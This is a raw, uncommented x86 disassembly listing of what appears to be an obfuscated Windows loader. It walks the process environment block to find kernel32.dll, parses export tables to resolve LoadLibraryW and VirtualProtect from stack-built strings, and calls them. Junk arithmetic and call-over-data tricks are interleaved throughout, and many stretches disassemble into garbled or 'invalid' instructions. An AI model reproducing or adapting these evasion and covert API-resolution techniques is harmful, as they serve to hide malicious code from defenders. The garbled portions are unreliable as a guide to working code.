jmp 0x42c23d
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x42c10b
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x42c10b
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x42c227
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x42c231
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x42c286
push ecx
push ecx
add esp, 4
jmp 0x42c253
pop ecx
push esi
push ecx
add esp, 4
call 0x42c268
add byte [edi], bh
cmp al, byte [edx + 0x49]
inc eax
cmp byte [ebx], dh
xor al, 0x4c
add esp, 4
sub esi, 0xae7c
xor esi, 0xdbe8
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x42c2ee
push ebx
call 0x42c294
add byte [edx + 0x41], al
inc edi
dec edx
xor eax, 0xc4833943
add al, 0x81
jmp 0x42c2a0
call 0x435ad5
xor eax, 0x1541b
sub eax, 0x1062a
or eax, 0x957e
pop eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x42c2e4
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x42c0af
mov dword [ebp - 0x2e0], 0
push eax
or eax, 0x1b82
add eax, 0x10aa4
sub eax, 0x21f5
pop eax
push edx
push edi
add esp, 4
add edx, 0x148d0
add edx, 0x15e56
add edx, 0x16eb0
or edx, 0xc5be
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edi
add edi, 0xecca
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [edi + 0x48404342], bh
cmp dword ds:[edx - 0x7d], ecx
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [eax + 0x45], dl
dec ebx
xor al, byte [ebx + esi + 0x3a]
inc ecx
aaa
add esp, 4
add al, 0x81
out 0x50, eax
pop edi
add dword [eax], eax
pop edi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
invalid
inc dword [ebx - 0x14ff43]
inc dword [eax]
jne case.0x40cc37.10
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x42c682
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push eax
jmp 0x42c697
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x18462
or ebx, 0xb371
and ebx, 0xd3ed
pop ebx
push edx
sub edx, 0x7a59
jmp 0x42c6bf
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
and eax, 0xa87e
pop eax
push ecx
push eax
add esp, 4
sub ecx, 0x377d
sub ecx, 0xdb9
or eax, 0x51590000
push edx
add esp, 4
and ecx, 0x175a4
and ecx, 0x15093
xor ecx, 0x18f3
add byte [ecx - 0x7d], bl
mov ebp, 0xfffffc34
invalid
je 0x42c713
cmp dword [ebp - 0xa5c], 0
jne 0x42c759
push eax
push edi
add esp, 4
xor eax, 0x895f
sub eax, 0x162a4
add eax, 0xe810
or eax, 0x10fa2
pop eax
push ecx
and ecx, 0x11c54
add ecx, 0x1655b
add ecx, 0x53d4
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
push esi
add esp, 4
xor esi, 0x16f81
xor esi, 0x1641c
add esi, 0x10f41
or esi, 0x486d
pop esi
push edi
add edi, 0xd7f9
or edi, 0x107a3
add edi, 0x7b14
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
xor edx, 0x15365
sub edx, 0x168ae
pop edx
push edi
push ebx
add esp, 4
sub edi, 0xee7
and edi, 0x4d28
call 0x42c7ee
add byte [edx + 0x35], al
inc ebp
xor al, 0x34
dec ebp
inc edx
inc ebx
aas
add esp, 4
pop edi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
and edi, 0x13542
or edi, 0x3356
pop edi
push edi
and edi, 0x9f79
pop edi
push esi
push eax
add esp, 4
call 0x42c883
add byte [edi + 0x42], al
cmp dword [eax + eax*2 + 0x43], ecx
xor eax, dword [ebx - 0x317efb3c]
add eax, esi
add byte [eax], al
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push edi
add esp, 4
xor ebx, 0x17d8c
add ebx, 0x12d04
pop ebx
push ebx
jmp 0x42c8cf
call 0x42c8dc
add byte [ebx + 0x39], al
inc edi
aaa
inc edi
inc esp
dec edx
add esp, 4
xor ebx, 0x12d44
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x42c8fe
mov dword [ebp - 0x2a8], 0
jmp 0x42cba5
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
push esi
add esp, 4
or edx, 0x104c4
jmp 0x42c921
pop edx
push esi
push edi
add esp, 4
and esi, 0xad97
jmp 0x42c935
or esi, 0x3e36
xor esi, 0x1378c
pop esi
cmp dword [ebp - 0xc4c], 0
jne 0x42c95a
mov dword [ebp - 0x2a8], 0
jmp 0x42cba5
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edi
push edx
add esp, 4
and edi, 0xb150
or edi, 0xf5e5
sub edi, 0x3553
pop edi
push ecx
push eax
add esp, 4
add ecx, 0x26c
pop ecx
push ebx
xor ebx, 0x3cee
or ebx, 0xea3b
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
push ebx
add esp, 4
and edx, 0x1000d
add edx, 0x42c8
xor edx, 0x151f7
pop edx
push edx
add edx, 0x7423
add edx, 0x748f
pop edx
push ecx
push esi
add esp, 4
and ecx, 0x149c4
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
add edx, 0x311b
sub edx, 0x54a6
or edx, 0x113eb
pop edx
push ecx
push ecx
add esp, 4
call 0x42ca73
add byte [edi], bh
cmp edi, dword [esi + edi]
inc edi
inc ebx
inc ebp
xor cl, byte [esi - 0x7d]
les eax, [ecx + eax*4]
leave
salc
inc edi
add dword [eax], eax
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x42ca9a
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x42caf4
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x42c9c2
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x42c9c2
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x42cade
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x42cae8
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x42cb3d
push ecx
or ecx, 0x15ffc
and ecx, 0x106ce
or ecx, 0xf49a
sub ecx, 0x6793
pop ecx
push ecx
push ebx
add esp, 4
add ecx, 0x28d7
sub ecx, 0x5823
or ecx, 0x152fe
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x42cba5
push ecx
push esi
add esp, 4
and ecx, 0x1c59
and ecx, 0xf7ad
and ecx, 0x10dde
pop ecx
push ecx
jmp 0x42cb5c
pop ecx
push ebx
push ecx
add esp, 4
xor ebx, 0x48cc
xor ebx, 0x16205
pop ebx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x42cb9b
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x42c966
mov dword [ebp - 0x2a8], 0
push ebx
xor ebx, 0x53e7
pop ebx
push eax
push eax
add esp, 4
xor eax, 0x5c5e
call 0x42cbc7
add byte [eax + 0x4a], dl
xor esi, dword [0x3c334144]
inc esp
add esp, 4
sub eax, 0x17b68
or eax, 0xf96c
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x42d4dc
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
push eax
add esp, 4
and ecx, 0x176dc
pop ecx
push ebx
or ebx, 0x24cd
pop ebx
push esi
or esi, 0x2dac
pop esi
push ecx
push ebx
add esp, 4
call 0x42ccab
add byte [esp + edi], bh
dec ecx
xor edi, dword [esi]
cmp bh, byte [0x5904c483]
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
push eax
add esp, 4
sub edi, 0x176bb
and edi, 0x18178
pop edi
push ebx
add ebx, 0xe1a2
and ebx, 0x17589
pop ebx
push edx
push edx
add esp, 4
or edx, 0xbfca
xor edx, 0x11126
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x42cd7c
mov dword [ebp - 0x710], 0
jmp 0x42d023
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
call 0x42cd9c
add byte [esi + 0x3c], al
dec ecx
aas
aaa
dec edx
add esp, 4
add ebx, 0xae32
call 0x42cdb3
add byte [edx + 0x4a], cl
inc edx
dec edx
aaa
inc ecx
dec ecx
inc esp
add esp, 4
jmp 0x42cdbf
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x42cdd8
mov dword [ebp - 0x710], 0
jmp 0x42d023
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push eax
xor eax, 0x10399
add eax, 0x13c6c
pop eax
push edi
push ebx
add esp, 4
sub edi, 0x7c38
or edi, 0x60ae
and edi, 0x70f2
pop edi
push ecx
push ebx
add esp, 4
xor ecx, 0x240d
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push ecx
add esp, 4
xor eax, 0x16bcf
pop eax
push eax
push edi
add esp, 4
add eax, 0x9f2c
and eax, 0x33a1
xor eax, 0xe04f
add eax, 0x100af
pop eax
push eax
or eax, 0xde18
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
push edx
add esp, 4
add eax, 0xd1ec
xor eax, 0xb9d6
jmp 0x42cedf
or eax, 0x14559
pop eax
push ebx
call 0x42cef7
add byte [ebx + esi + 0x3e], al
xor al, 0x38
inc esp
inc ebp
xor bh, byte [0x4c48332]
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x42cf18
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x42cf72
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x42ce40
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x42ce40
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x42cf5c
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x42cf66
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x42cfbb
push esi
push edi
add esp, 4
and esi, 0x5d39
pop esi
push ecx
call 0x42cf96
add byte [ebx], bh
aaa
xor al, byte [eax + 0x32]
xor al, 0x36
aaa
add esp, 4
call 0x42cfa9
add byte [ecx + 0x4b], cl
inc edx
dec edi
aas
dec ecx
aas
cmp eax, 0x4c48333
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x42d023
push ecx
add ecx, 0x15283
pop ecx
push edx
or edx, 0xac01
jmp 0x42cfd0
call 0x42cfe0
add byte [ecx], bh
inc eax
inc esi
dec ebp
cmp eax, 0x3738403f
xor eax, dword [ebx + 0x7eb04c4]
xor al, 0x39
cmp bh, byte [esi + eax*2]
xor al, 0x4f
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x42d019
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x42cde4
mov dword [ebp - 0x710], 0
push edi
and edi, 0x12577
add edi, 0x14f52
jmp 0x42d035
call 0x42d043
add byte [eax], bh
inc ecx
dec ebp
xor eax, 0x4b44353e
add esp, 4
pop edi
push ecx
sub ecx, 0x109ca
and ecx, 0x25c4
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x42d09f
push ebx
push edi
add esp, 4
and ebx, 0x3c15
and ebx, 0x103fe
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0x13750
jmp 0x42d083
or ebx, 0x11621
sub ebx, 0xed0f
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x42dbc7
push ecx
push ebx
add esp, 4
or ecx, 0x684b
pop ecx
push ecx
jmp 0x42d0b1
and ecx, 0x505e
or ecx, 0x6fc6
call 0x42d0cd
add byte [edi + 0x4c], cl
aas
inc esp
push eax
aas
inc eax
xor dh, byte [edx]
inc esi
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x42d110
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x42d401
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x42d138
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x42d401
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x42d16a
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x42d401
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x42d18f
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x42d401
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x42d1e9
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x42d3f5
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x42d259
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42d30b
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x42d30b
push edi
xor edi, 0x12bad
add edi, 0x1539f
pop edi
push esi
push esi
add esp, 4
jmp 0x42d2a1
call 0x42d2ae
add byte [edx + ecx*2 + 0x3c], cl
xor eax, 0x833b4c48
les eax, [ecx + eax*4]
out dx, al
cmpsd dword [esi], dword es:[edi]
push ecx
add byte [eax], al
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x42d2fd
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x42d304
jmp 0x42d24a
jmp 0x42d30b
push ebx
push edi
add esp, 4
xor ebx, 0xbc17
jmp 0x42d31f
jmp 0x42d324
sub ebx, 0xfc47
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x174b1
or ebx, 0xa824
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x42d36a
mov dword [ebp - 0xc5c], 0
jmp 0x42d3d9
push edx
sub edx, 0x9a3e
jmp 0x42d376
xor edx, 0x50b1
or edx, 0xdb83
pop edx
push ebx
add ebx, 0xad91
call 0x42d398
add byte [edi], bh
inc esi
inc edx
cmp byte [eax + 0x3c], cl
xor edi, dword [ecx]
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x42d3cf
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x42d3d9
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x42d3f0
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x42d401
jmp 0x42d1da
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x42d4dc
push ebx
push ebx
add esp, 4
xor ebx, 0x10fc9
or ebx, 0xcba9
sub ebx, 0xc419
pop ebx
push ecx
jmp 0x42d42d
add ecx, 0x11151
pop ecx
push edx
push edi
add esp, 4
sub edx, 0xd274
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
jmp 0x42d454
call 0x42d462
add byte [edi + 0x37], cl
dec ecx
dec esi
inc edx
aaa
push eax
add esp, 4
add ebx, 0x75f7
pop ebx
push esi
push edi
add esp, 4
and esi, 0x17948
and esi, 0x14671
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x42d4dc
push ecx
push ecx
add esp, 4
and ecx, 0xe446
pop ecx
push edx
push ebx
add esp, 4
add edx, 0x10919
pop edx
push edx
push ecx
add esp, 4
or edx, 0x5a32
and edx, 0x173e1
jmp 0x42d4cc
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x42dbc7
push edi
push edx
add esp, 4
or edi, 0x11118
jmp 0x42d4ed
and edi, 0x126fd
pop edi
push edx
sub edx, 0xe2a4
and edx, 0xe434
or edx, 0x6748
xor edx, 0x15df0
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
push ebx
add esp, 4
call 0x42d547
add byte [esi + 0x4d], cl
dec ebx
cmp dword [ebx + 0x4d], eax
add esp, 4
call fcn.0042d558
add byte [eax], bh
cmp eax, 0x46444347
cmp byte ds:[ebx - 0x197efb3c], al
add esp, 4
invalid
invalid
add eax, 0x8100008b
out 0xd7, al
mov byte [eax], 0
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x42d580
mov dword [ebp - 0x2a8], 0
jmp 0x42d827
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
push ecx
add esp, 4
xor edx, 0x5ff9
call 0x42d5ac
add byte [0x47353742], dh
aas
inc ebp
cmp dword [0x8104c483], esi
ljmp 0x515a
push esi
push ebx
add esp, 4
and esi, 0x11693
add esi, 0x125bb
xor esi, 0x831b
pop esi
push edx
or edx, 0xb066
or edx, 0x407b
jnp 0x42d88a
add byte [eax], al
sub edx, 0x12b9b
sub edx, 0xab27
add byte [edx - 0x75], bl
lea ebx, [eax - 3]
invalid
dec dword [ebx - 0x6a76e7af]
push ecx
sbb byte [ecx - 0x3036b], cl
invalid
push ebx
add ebx, 0xdfd
add ebx, 0xb841
jmp 0x42d87e
add ebx, 0x4c69
pop ebx
push eax
push ecx
add esp, 4
call 0x42d896
add byte [eax + eax*2 + 0x3b], cl
cmp al, 0x38
push eax
add esp, 4
pop eax
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
invalid
inc dword [ebx - 0x157f43]
inc dword [eax]
jne 0x42d8ca
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x42dbbb
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x42d8f2
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x42dbbb
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
jl 0x42d8e8
invalid
dec dword [ebx - 0x7687feac]
xchg ebp, eax
js 0x42d8f2
invalid
inc dword [ebx - 0x158743]
inc dword [eax]
jne 0x42d924
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x42dbbb
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x42d949
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x42dbbb
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
test eax, ebx
clc
invalid
inc dword [eax]
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x42dbaf
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x42da13
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42dac5
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x42dac5
push ebx
jmp 0x42da47
xor ebx, 0x10f5e
xor ebx, 0x152e2
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x16afb
or esi, 0x15ee
and esi, 0x46af
add esi, 0xba48
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x42dab7
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x42dabe
jmp 0x42da04
jmp 0x42dac5
push ecx
push ecx
add esp, 4
sub ecx, 0xc8e4
add ecx, 0x5f37
jmp 0x42dadf
pop ecx
push ebx
and ebx, 0x890e
pop ebx
push eax
jmp 0x42daf0
or eax, 0xa196
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x42db24
mov dword [ebp - 0xc6c], 0
jmp 0x42db93
push ebx
push ebx
add esp, 4
or ebx, 0xabf0
or ebx, 0x13fae
pop ebx
push edx
or edx, 0xd432
sub edx, 0x9495
pop edx
push eax
push ebx
add esp, 4
or eax, 0x1973
and eax, 0x1018f
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
